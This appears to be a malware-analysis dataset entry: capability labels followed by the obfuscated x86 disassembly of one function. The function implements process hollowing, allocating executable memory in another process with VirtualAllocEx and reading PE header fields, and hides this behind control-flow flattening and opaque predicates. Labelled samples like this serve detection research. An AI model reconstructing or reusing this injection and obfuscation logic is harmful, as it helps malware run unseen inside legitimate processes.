Function at 0x10007ca0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x140
mov eax, dword [0x10045600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x148], 0x80fa5e7
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x14c], eax
sub eax, 0x80f6cdee
je 0x10010d3a
jmp 0x10007cdc
mov eax, dword [ebp - 0x14c]
sub eax, 0x8103a6b8
je 0x1000c050
jmp 0x10007cf2
mov eax, dword [ebp - 0x14c]
sub eax, 0x81c6f7e0
je 0x1000f9df
jmp 0x10007d08
mov eax, dword [ebp - 0x14c]
sub eax, 0x821d380f
je 0x1001420c
jmp 0x10007d1e
mov eax, dword [ebp - 0x14c]
sub eax, 0x827d6ffa
je 0x10011157
jmp 0x10007d34
mov eax, dword [ebp - 0x14c]
sub eax, 0x829a3baa
je 0x10015682
jmp 0x10007d4a
mov eax, dword [ebp - 0x14c]
sub eax, 0x82e9afea
je 0x1000be41
jmp 0x10007d60
mov eax, dword [ebp - 0x14c]
sub eax, 0x82f2811b
je 0x10015757
jmp 0x10007d76
mov eax, dword [ebp - 0x14c]
sub eax, 0x837cee1a
je 0x100141eb
jmp 0x10007d8c
mov eax, dword [ebp - 0x14c]
sub eax, 0x83ec3287
je 0x1000cc61
jmp 0x10007da2
mov eax, dword [ebp - 0x14c]
sub eax, 0x83f69fad
je 0x1001225d
jmp 0x10007db8
mov eax, dword [ebp - 0x14c]
sub eax, 0x842ac782
je 0x1000c7b1
jmp 0x10007dce
mov eax, dword [ebp - 0x14c]
sub eax, 0x84703f00
je 0x1000e0fe
jmp 0x10007de4
mov eax, dword [ebp - 0x14c]
sub eax, 0x84cc24ce
je 0x1000ea31
jmp 0x10007dfa
mov eax, dword [ebp - 0x14c]
sub eax, 0x850977e1
je 0x10012cb6
jmp 0x10007e10
mov eax, dword [ebp - 0x14c]
sub eax, 0x850cda43
je 0x10011aef
jmp 0x10007e26
mov eax, dword [ebp - 0x14c]
sub eax, 0x853adefe
je 0x10010faa
jmp 0x10007e3c
mov eax, dword [ebp - 0x14c]
sub eax, 0x8555bfd2
je 0x1000f8de
jmp 0x10007e52
mov eax, dword [ebp - 0x14c]
sub eax, 0x857589f2
je 0x100126e1
jmp 0x10007e68
mov eax, dword [ebp - 0x14c]
sub eax, 0x8598aa7e
je 0x10014c7b
jmp 0x10007e7e
mov eax, dword [ebp - 0x14c]
sub eax, 0x85d60cb4
je 0x10013a5a
jmp 0x10007e94
mov eax, dword [ebp - 0x14c]
sub eax, 0x8609419b
je 0x10015706
jmp 0x10007eaa
mov eax, dword [ebp - 0x14c]
sub eax, 0x862a16dd
je 0x1000d7e0
jmp 0x10007ec0
mov eax, dword [ebp - 0x14c]
sub eax, 0x864ad52a
je 0x100109ba
jmp 0x10007ed6
mov eax, dword [ebp - 0x14c]
sub eax, 0x8686b6a4
je 0x10014cf8
jmp 0x10007eec
mov eax, dword [ebp - 0x14c]
sub eax, 0x86a64d63
je 0x1000d801
jmp 0x10007f02
mov eax, dword [ebp - 0x14c]
sub eax, 0x86b6c946
je 0x1001470d
jmp 0x10007f18
mov eax, dword [ebp - 0x14c]
sub eax, 0x86ca41d1
je 0x1000d30c
jmp 0x10007f2e
mov eax, dword [ebp - 0x14c]
sub eax, 0x87f02bfe
je 0x1000c2ca
jmp 0x10007f44
mov eax, dword [ebp - 0x14c]
sub eax, 0x886e2983
je 0x10011cb9
jmp 0x10007f5a
mov eax, dword [ebp - 0x14c]
sub eax, 0x88bb7949
je 0x100110c5
jmp 0x10007f70
mov eax, dword [ebp - 0x14c]
sub eax, 0x88c650dc
je 0x1000e0dd
jmp 0x10007f86
mov eax, dword [ebp - 0x14c]
sub eax, 0x89374c3b
je 0x1000dd8a
jmp 0x10007f9c
mov eax, dword [ebp - 0x14c]
sub eax, 0x8949e126
je 0x1000dc70
jmp 0x10007fb2
mov eax, dword [ebp - 0x14c]
sub eax, 0x89c2f652
je 0x1000f006
jmp 0x10007fc8
mov eax, dword [ebp - 0x14c]
sub eax, 0x8b57928f
je 0x1000de19
jmp 0x10007fde
mov eax, dword [ebp - 0x14c]
sub eax, 0x8b708515
je 0x1000f484
jmp 0x10007ff4
mov eax, dword [ebp - 0x14c]
sub eax, 0x8bfaf4af
je 0x10015368
jmp 0x1000800a
mov eax, dword [ebp - 0x14c]
sub eax, 0x8d3f4f29
je 0x100117a6
jmp 0x10008020
mov eax, dword [ebp - 0x14c]
sub eax, 0x8d6c7c85
je 0x1000f7ca
jmp 0x10008036
mov eax, dword [ebp - 0x14c]
sub eax, 0x8dd3d5a6
je 0x10014b75
jmp 0x1000804c
mov eax, dword [ebp - 0x14c]
sub eax, 0x8e03190c
je 0x10015799
jmp 0x10008062
mov eax, dword [ebp - 0x14c]
sub eax, 0x8e145c10
je 0x10010a58
jmp 0x10008078
mov eax, dword [ebp - 0x14c]
sub eax, 0x8e967c47
je 0x1000ef71
jmp 0x1000808e
mov eax, dword [ebp - 0x14c]
sub eax, 0x8eed0f8e
je 0x10013506
jmp 0x100080a4
mov eax, dword [ebp - 0x14c]
sub eax, 0x8efa67e7
je 0x100121d9
jmp 0x100080ba
mov eax, dword [ebp - 0x14c]
sub eax, 0x8f3fb2f0
je 0x1000ee5f
jmp 0x100080d0
mov eax, dword [ebp - 0x14c]
sub eax, 0x8f47f8de
je 0x10014456
jmp 0x100080e6
mov eax, dword [ebp - 0x14c]
sub eax, 0x8f5eec06
je 0x10015748
jmp 0x100080fc
mov eax, dword [ebp - 0x14c]
sub eax, 0x8f5fe131
je 0x100153e9
jmp 0x10008112
mov eax, dword [ebp - 0x14c]
sub eax, 0x8fa168a7
je 0x10011bc7
jmp 0x10008128
mov eax, dword [ebp - 0x14c]
sub eax, 0x901d744f
je 0x1000bef3
jmp 0x1000813e
mov eax, dword [ebp - 0x14c]
sub eax, 0x902a1235
je 0x10013971
jmp 0x10008154
mov eax, dword [ebp - 0x14c]
sub eax, 0x9077a865
je 0x10011690
jmp 0x1000816a
mov eax, dword [ebp - 0x14c]
sub eax, 0x90daca2d
je 0x100116d2
jmp 0x10008180
mov eax, dword [ebp - 0x14c]
sub eax, 0x90ea0204
je 0x1000fd59
jmp 0x10008196
mov eax, dword [ebp - 0x14c]
sub eax, 0x9158c2c5
je 0x1000f21a
jmp 0x100081ac
mov eax, dword [ebp - 0x14c]
sub eax, 0x91c19393
je 0x100108c8
jmp 0x100081c2
mov eax, dword [ebp - 0x14c]
sub eax, 0x91fb6a57
je 0x10012673
jmp 0x100081d8
mov eax, dword [ebp - 0x14c]
sub eax, 0x92712ae2
je 0x100105b0
jmp 0x100081ee
mov eax, dword [ebp - 0x14c]
sub eax, 0x92ce87bd
je 0x10012b85
jmp 0x10008204
mov eax, dword [ebp - 0x14c]
sub eax, 0x9379f255
je 0x1001471c
jmp 0x1000821a
mov eax, dword [ebp - 0x14c]
sub eax, 0x9393b748
je 0x1001120e
jmp 0x10008230
mov eax, dword [ebp - 0x14c]
sub eax, 0x939e95e0
je 0x1000f7d9
jmp 0x10008246
mov eax, dword [ebp - 0x14c]
sub eax, 0x93eafb3f
je 0x100155bf
mov dl, 1
mov eax, 0x1edeedbf
mov ecx, 0xf6d945f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
movss xmm0, dword [0x100234e0]
movss dword [ebp - 0x140], xmm0
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x35b4b9e6
mov ecx, 0xb26a0c2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov dl, 1
mov eax, 0xe6578a71
mov ecx, 0x37875f0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov dl, 1
mov eax, 0xbb158ff0
mov ecx, 0x31d20d4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
mov edx, eax
sub edx, 0xc30829fd
sub edx, 1
add edx, 0xc30829fd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb5ac4273
mov ecx, 0xaf4f83ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov dword [ebp - 0x148], 0xc0e615e2
jmp 0x10015ef7
mov dword [ebp - 0x148], 0x77a0fd8f
jmp 0x10015ef7
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x10023738]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0x86a64d63
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
mov edx, ecx
sub edx, 0xf99d036e
sub edx, 1
add edx, 0xf99d036e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4450cce2
mov ecx, 0x50c4d7a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x134]
movss xmm0, dword [0x1002371c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x134]
movss xmm0, dword [0x10023718]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xc2fbe128
mov ecx, 0xc319bdd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov dword [ebp - 0x148], 0x399c1baf
jmp 0x10015ef7
mov eax, dword [ebp - 0x134]
movss xmm0, dword [0x10023708]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0x128146e5
jmp 0x10015ef7
mov eax, dword [ebp - 0x134]
movss xmm0, dword [0x100236f0]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0x84703f00
jmp 0x10015ef7
mov dl, 1
mov eax, 0x5d915dda
mov ecx, 0x6bdbf3cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
mov edx, ecx
add edx, 0x758d4100
sub edx, 1
sub edx, 0x758d4100
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbc866019
mov ecx, 0x66f27074
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8bfaf4af
mov ecx, 0xe56b7892
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10023684]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10023680]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0xe6d1470a
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5c0de7d4
mov ecx, 0x60a9918c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov dword [ebp - 0x148], 0x6708a8a2
jmp 0x10015ef7
mov dl, 1
mov eax, 0x18e290a9
mov ecx, 0xe3fa405f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov dword [ebp - 0x148], 0x939e95e0
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
mov edx, ecx
sub edx, 0x1ba86e23
sub edx, 1
add edx, 0x1ba86e23
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb23cf2a1
mov ecx, 0xca3bc05e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
mov edx, ecx
add edx, 0x2e3d299a
sub edx, 1
sub edx, 0x2e3d299a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb75278b1
mov ecx, 0x58de51fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10023648]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0x7ca1c26e
jmp 0x10015ef7
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10023638]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0xc682e9de
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaa92cd77
mov ecx, 0x617ff02b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100235f8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100235f4]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0xa978b9f5
jmp 0x10015ef7
mov dword [ebp - 0x148], 0xd1b3cea4
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
mov edx, ecx
sub edx, 0xa0bac0b9
sub edx, 1
add edx, 0xa0bac0b9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5f3eb10f
mov ecx, 0xba4ad19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023418]
movss dword [eax], xmm0
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4b4fd242
mov ecx, 0x73f2b8a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
mov edx, eax
add edx, 0x70e10046
sub edx, 1
sub edx, 0x70e10046
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4365c05c
mov ecx, 0x1a293a64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100235dc]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x19693976
mov ecx, 0xb4dab39b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8f5eec06
mov ecx, 0x13c082d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov dl, 1
mov eax, 0x9e539b36
mov ecx, 0xe07a1195
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1002359c]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0xf7221a80
jmp 0x10015ef7
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf2171a06
mov ecx, 0x68ff8511
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10023594]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10023590]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0xf70375cc
jmp 0x10015ef7
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d4cf054
mov ecx, 0xf9aab909
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10023580]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0xc4e3a54f
jmp 0x10015ef7
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100233f0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100233ec]
movss dword [eax], xmm0
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8545e4a
mov ecx, 0x52ab8eed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100233e0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100233dc]
movss dword [eax], xmm0
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
mov edx, eax
sub edx, 0x56a690fb
sub edx, 1
add edx, 0x56a690fb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1da57429
mov ecx, 0xd07392d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov dword [ebp - 0x148], 0x991880db
jmp 0x10015ef7
mov dword [ebp - 0x148], 0x4ece1bf5
jmp 0x10015ef7
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10023520]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0x581fa6b
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb549c896
mov ecx, 0xaa2c20ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x71f33e4
mov ecx, 0x24c3c331
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov dl, byte [ebp - 0x97]
mov eax, 0x5b064366
mov ecx, 0xed0523b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10007760
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xf4]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x8d], al
mov dword [ebp - 0x148], 0xeb8b0ac1
jmp 0x10015ef7
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa2e50199
mov ecx, 0xc879fb26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x148], 0x821d380f
jmp 0x10015ef7
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x54]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0x6bc7591c
jmp 0x10015ef7
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x41], al
mov dword [ebp - 0x148], 0x1594e7f8
jmp 0x10015ef7
mov dword [ebp - 0x148], 0x9379f255
jmp 0x10015ef7
mov ecx, dword [0x10046928]
mov eax, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x409afc61
mov ecx, 0xdb3dc90e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov dword [ebp - 0x148], 0xc985a517
jmp 0x10015ef7
mov dword [ebp - 0x148], 0x8f47f8de
jmp 0x10015ef7
mov eax, dword [0x10046928]
mov ecx, dword [0x10046924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x576912c
mov ecx, 0x4338997e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10015ef7
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x1002347c]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0xe56b7892
jmp 0x10015ef7
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010d0
add esp, 4
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10023470]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1002346c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10023468]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0xda4736fb
jmp 0x10015ef7
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023420]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0x5d8d871f
jmp 0x10015ef7
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023410]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0x2afb14c6
jmp 0x10015ef7
mov dword [ebp - 0x148], 0x13c082d3
jmp 0x10015ef7
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10023408]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0x7313fd76
jmp 0x10015ef7
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10023400]
movss dword [eax], xmm0
mov dword [ebp - 0x148], 0x278e6cae
jmp 0x10015ef7
jmp 0x10007cc0